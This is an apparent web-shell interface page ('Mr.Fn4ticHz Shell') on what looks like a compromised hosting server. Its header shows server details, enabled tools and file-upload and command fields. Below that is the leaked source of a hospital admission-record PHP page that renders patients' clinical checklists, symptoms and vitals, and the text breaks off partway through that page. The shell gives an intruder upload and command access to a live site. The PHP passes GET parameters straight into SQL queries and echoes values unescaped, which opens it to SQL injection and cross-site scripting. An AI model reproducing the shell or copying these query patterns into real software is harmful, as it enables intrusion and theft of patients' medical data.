Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 52.14.82.217
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/showrequestforadmission.php
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'dashboarddocument.php';
?>
 <style>
                     
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
</style>

<?php
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['typevisit'];
if($usertype == 'OPD'){
    echo " <h3 align='center'>Intial Assessment </h3> <input type='hidden' value='Initial Assessment' name='pagetype'></h3>";
} else{
    echo " <h3 align='center'>Request for Admission </h3><input type='hidden' value='Request for Admission' name='pagetype'></h3>";
}
}
?>
<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "

		    <div class='content-wrapper'>
		    
    <!-- Content Header (Page header) -->
   
    <div class='center'>
   <section class='content-header'>
<h3 align='right'><a href='edit_showrequestforadmission.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>Edit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></h3>
</section>
     <table id='example2' class='table table-bordered table-hover'>



<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Type of Admission: </td>
<td width='50%'>$rs[Type_of_Admission]</td>
</tr>

<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Reason for Admission :  </td>
<td width='50%'>$rs[Reason_for_Admission]</td>
</tr>
</table>
";
}
?>
<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[MLC])
{
?>  <div id="mmenu">
    <?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h3 align='center'>MLC Checklist</h3>
 <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; MLC No: </td>
<td width='50%'>$rs[MLC_No]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; MLC Slip : </td>
<td width='50%'>$rs[Upload_MLC_Slip]</td>
</tr>
</table>
";
}
?>
	  <?php
}
}
?>
<?php
	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rt = mysqli_fetch_array($qsql))
		{
if(on==$rt[Trauma])
{
?>  <div id="mmenu">
    <?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h3 align='center'>Trauma Care Checklist</h3>
<BR><BR>
<h5 align='center'>Immediately after primary & secondary surveys</h5> 
 <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'> 
Is Further Airway Intervention Needed? :  </td>
<td width='50%'>$rs[further] </td>
</tr>
<tr>
<td width='50%'>Is There A Tension Pneumo-Haemothorax ? :  </td>
<td width='50%'>$rs[Pneumo_Haemothorax] </td>
</tr>
<tr>
<td width='50%'>IS The Pulse and Fluids Started ? : </td>
<td width='50%'>$rs[Fluids_Started]  </td>
</tr>
<tr>
<td width='50%'>Large-bore IV placed and fluids started : </td>
<td width='50%'>$rs[iv_fluids_started] </td>
</tr>
<tr>
<td width='50%'>Full Survey For (and control of)External bleeding, Including: </td>
<td width='50%'>$rs[Full_Survey]&nbsp; ,$rs[Perineum]&nbsp; ,$rs[Back] </td>
</tr>
<tr>
<td width='50%'>Assessed For Pelvic Fracture by : </td>
<td width='50%'>$rs[Pelvic_Fracture] </td>
</tr>
<tr>
<td width='50%'>Assessed For Internal Bleeding By: </td>
<td width='50%'>$rs[Internal_Bleeding] </td>
</tr>
<tr>
<td width='50%'>Is Spinal Immobilization Needed? : </td>
<td width='50%'>$rs[Spinal_Immobilization] </td>
</tr>
<tr>
<td width='50%'>Neurovascular Status of all 4 limbs Checked? : </td>
<td width='50%'>$rs[Neurovascular_Status] </td>
</tr>
<tr>
<td width='50%'>IS the patient Hypothermic? :</td>
<td width='50%'>$rs[Hypothermic]  </td>
</tr>
<tr>
<td width='50%'>Does the Patient Need(if no contraindication) :</td>
<td width='50%'>$rs[contraindication],&nbsp;$rs[Nasogastric_Tube],&nbsp;$rs[Chest_Drain],&nbsp;$rs[None_Indicated],&nbsp;</td>
</tr>
<tr>
<td width='50%'>Has the Patient been Given :</td>
<td width='50%'>$rs[leaves_patient],&nbsp;$rs[Analgesics],&nbsp;$rs[Antibiotics],&nbsp;$rs[None_Indicated],&nbsp;</td>
</tr>
<tr>
<td width='50%'>Have All tests and imaging been Reviewed :</td>
<td width='50%'>$rs[tests_imaging]  </td>
</tr>
<tr>
<td width='50%'>Which serial Examinations Are Needed:</td>
<td width='50%'>$rs[Examinations]  </td>
</tr>
<tr>
<td width='50%'>Plan of care discussed with :</td>
<td width='50%'>$rs[care_discussed],&nbsp;$rs[Receiving_Unit],&nbsp; $rs[Primary_team],&nbsp; $rs[Other_Specialists],&nbsp;   </td>
</tr>
<tr>
<td width='50%'>Relevant Trauma Chart or Form Comleted? :</td>
<td width='50%'>$rs[Trauma_Chart]  </td>
</tr>
<tr>
<td width='50%'>Trauma Slip :</td>
<td width='50%'> <a href='http://easenup.healthcare/hco/uploads/$rs[Trauma_Slip]'>uploads/$rs[Trauma_Slip]</a>  </td>
</tr>
</table>
</fieldset>

</div>
 ";
	  echo "</td></tr>";	}
		?>
	
		 	  <?php
}
}
?>

<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Safe_childbirth_checklist])
{
?>
<div id='mmenu'>
<h5 align='center'>Safe Childbirth Checklist </h5>
<table id='example2' class='table table-bordered table-hover'>
    	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
				{
				    echo "
				    <tr>
<td width='50%'>Does mother need referral  :</td>
<td width='50%'>$rs[mother_need_referral]  </td>
</tr>
<tr>
<td width='50%'>Partograph started? :</td>
<td width='50%'>$rs[Partograph_started]  </td>
</tr>
 <tr>
<td width='50%'>Does mother need to start: Antibiotics? :</td>
<td width='50%'>$rs[start_Antibiotics]  </td>
</tr>
 <tr>
<td width='50%'>Magnesium sulfate and antihypertensive treatment? :</td>
<td width='50%'>$rs[antihypertensive_treatment]  </td>
</tr>
 <tr>
<td width='50%'>Confirm supplies are available to clean hands and wear gloves for each vaginal exam :</td>
<td width='50%'>$rs[vaginal_exam]  </td>
</tr>
 <tr>
<td width='50%'>Encourage birth companion to be present at birth :</td>
<td width='50%'>$rs[present_at_birth]  </td>
</tr>
 <tr>
<td width='50%'>Confirm that mother or companion will call for help during labour if needed :</td>
<td width='50%'>$rs[labour_needed]  </td>
</tr>

				    ";
				}
				?>
    
    </div>
    <?php
}
}
?>

<?php 
		$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>Information Obtained from  :</td>
<td width='50%'>$rs[Information_Obtained_from]  </td>
</tr>
<tr>
<td width='50%'>General Consent Signed Copy  :</td>
<td width='50%'>$rs[Upload_Consent]  </td>
</tr>
<tr>
<td width='50%'>Patient Identification Band tied  :</td>
<td width='50%'>$rs[ID_Band_tied]  </td>
</tr>
<tr>
<td width='50%'>Patient Rights & Responsibilities explained  :</td>
<td width='50%'>$rs[Rights_Responsibilities]  </td>
</tr>
<tr>
<td width='50%'>Patient Made aware of surroundings and safety measures  :</td>
<td width='50%'>$rs[surroundings_safety]  </td>
</tr>
<tr>
<td width='50%'>Level of Consciousness  :</td>
<td width='50%'>$rs[Level_Consciousness]  </td>
</tr>
<tr>
<td width='50%'>Dependency  :</td>
<td width='50%'>$rs[Dependency]  </td>
</tr>
<tr>
<td width='50%'>Mode of Movement  :</td>
<td width='50%'>$rs[Modn]  </td>
</tr>
<tr>
<td width='50%'>Vulnerability Assessment :</td>
<td width='50%'>$rs[Vulnevilty_Assessment]  </td>
</tr>
<tr>
<td width='50%'>Pain Assessment :</td>
<td width='50%'>$rs[Pain_Assessment]  </td>
</tr>
<tr>
<td width='50%'>Pain Location :</td>
<td width='50%'>$rs[Pain_Location]  </td>
</tr>
<tr>
<td width='50%'>Fall Risk :</td>
<td width='50%'>$rs[fall_risk]  </td>
</tr>
</table>
";
}
?>
<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Addiction])
{
?>
<div id='mmenu'>
<h3 align='center'>Addiction </h3>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Tobacco'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Tobacco: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Alcohol'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Alcohol: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Smoking'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Smoking: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>


</table>
	

	
		 	  <?php
}
}
?>



	
	</table>
	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Chief_Complain])
{
?>
<div id='mmenu'>
<h3 align='center'>Chief Complain </h3>
<table id='example2' class='table table-bordered table-hover'>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Fever'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Fever: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['smell'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Loss of Smell: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Diarrhoea'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Diarrhoea: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Deformity'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Facial Deformity: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Cough'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Cough: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Taste'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Taste: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Weakness'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Weakness: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Breathlessness'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Breathlessness: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Appetite'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Appetite: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Limbs'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Power Loss in Limbs: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Throat'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Sore Throat : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>


<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Vomitting'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Vomitting : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Slurred_Voice'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Slurred Voice: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Nausea'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nausea: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Loss_Appetite'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Appetite: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Delusion'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Delusion: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Fits_Anger'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Fits of Anger: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Depression'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Depression: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Memory_Loss'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Memory Loss: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Bleeding_Disorder'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Bleeding Disorder: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Migraine'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Migraine : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Frequent_Urination'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Frequent Urination : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Swollen_Join'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Swollen Join : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Weight_Gain'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Weight Gain : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['weight_loss'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; weight loss : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Body_pain'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Body pain : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>


<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Physical_Injury'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Physical Injury : </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Other Symptoms : </td>
<td width='50%'>$rs[Other_Symptoms]</td></tr>";
}
?>

</table>
	 	  <?php
}
}
?>
<h3 align='center'>Vitals</h3>
<?php
  	$sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"  <table id='example2' class='table table-bordered table-hover'>
<tr><td>Weight</td><td>$rs[Wt]</td></tr>
<tr><td>SPo2</td><td>$rs[SPo2]</td></tr>
<tr><td>RBS</td><td>$rs[RBS]</td></tr>
<tr><td>Temperature</td><td>$rs[Temp]</td></tr>
<tr><td>Pulse</td><td>$rs[Pulse]</td></tr>
<tr><td>Blood Pressure:</td><td>$rs[BP2]/$rs[BP]</td></tr>
<br>
    
	";
		}
		?>
		</table>
		
		
			<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[On_Examination])
{
?>
<div id='mmenu'>
<h3 align='center'><u>On Examination</u> </h3>
		<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Right_eye])
{
?>
<div id='mmenu'>
<h5 align='center'>	Right Eye </h5>
<table id='example2' class='table table-bordered table-hover'>
    	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
				{
				    echo "
    <tr><td>NCT</td><td>$rs[right_nct]</td></tr>
<tr><td>AT</td><td>$rs[right_at]</td></tr>
<tr><td>BASE LINE IOP</td><td>$rs[right_BASE_LINE_IOP]</td></tr>
<tr><td>CCT</td><td>$rs[right_CCT]</td></tr>
<tr><td>UCVA</td><td>$rs[right_UCVA]</td></tr>
<tr><td>DSPH</td><td>$rs[right_DSPH]</td></tr>
<tr><td>DCLY </td><td>$rs[right_DCLY]</td></tr>
<tr><td>Axis</td><td>$rs[right_Axis]</td></tr>
<tr><td>PGVA</td><td>$rs[right_PGVA]</td></tr>
<tr><td>PHVA</td><td>$rs[right_PHVA]</td></tr>
<tr><td>Vision (With Glasses)</td><td>$rs[right_Vision]</td></tr>
<tr><td>Vision (Without Glasses)</td><td>$rs[right_Without_Glasses]</td></tr>
    ";
				}
				?>
</table>
</div>

<?php
}
}
?>
		<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Left_eye])
{
?>
<div id='mmenu'>
<h5 align='center'>	Left Eye </h5>
<table id='example2' class='table table-bordered table-hover'>
    	<?php
    $sql ="SELECT * FROM request_for_admission WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
				{
				    echo "
    <tr><td>NCT</td><td>$rs[left_nct]</td></tr>
<tr><td>AT</td><td>$rs[left_at]</td></tr>
<tr><td>BASE LINE IOP</td><td>$rs[left_BASE_LINE_IOP]</td></tr>
<tr><td>CCT</td><td>$rs[left_CCT]</td></tr>
<tr><td>UCVA</td><td>$rs[left_UCVA]</td></tr>
<tr><td>DSPH</td><td>$rs[left_DSPH]</td></tr>
<tr><td>DCLY </td><td>$rs[left_DCLY]</td></tr>
<tr><td>Axis</td><td>$rs[left_Axis]</td></tr>
<tr><td>PGVA</td><td>$rs[left_PGVA]</td></tr>
<tr><td>PHVA</td><td>$rs[left_PHVA]</td></tr>
<tr><td>Vision (With Glasses)</td><td>$rs[left_Vision]</td></tr>
